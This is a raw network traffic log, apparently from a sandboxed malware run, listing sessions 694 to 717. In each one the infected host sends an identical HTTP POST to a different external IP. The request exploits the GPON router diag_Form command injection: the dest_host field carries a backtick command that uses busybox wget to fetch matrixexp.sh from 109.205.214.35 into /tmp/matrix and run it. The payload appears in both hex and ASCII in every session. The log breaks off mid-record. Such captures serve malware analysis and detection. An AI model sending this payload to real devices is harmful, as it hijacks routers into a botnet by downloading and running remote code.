Mar 21, 2024 05:26:12.177647114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.23	34626	79.124.53.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177678108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.23	40408	178.164.216.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177691936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.23	43206	109.79.234.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177696943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.23	50774	210.45.99.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177737951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.23	54664	178.182.156.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177737951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.23	36130	5.139.45.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177778959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.23	44160	2.75.134.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177778959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.23	56812	118.146.36.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177778959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.23	57022	212.244.32.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177814007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.23	48636	210.74.181.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177817106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.23	58200	212.168.11.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177844048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.23	35022	212.239.40.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177855968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.23	50448	178.198.0.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177860022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.23	59356	210.62.132.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177865028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.23	56894	37.234.230.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177898884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.23	38312	210.83.224.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177901030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.23	50606	212.79.1.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177906036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.23	35744	37.244.224.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177954912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.23	34614	109.143.93.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177988052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.23	49630	178.36.233.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177989006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.23	37548	37.64.122.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.177992105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.23	48478	109.202.86.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178029060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.23	40946	42.217.23.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178039074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.23	60838	212.69.71.18	443

Timestamp	Bytes transferred	Direction	Data
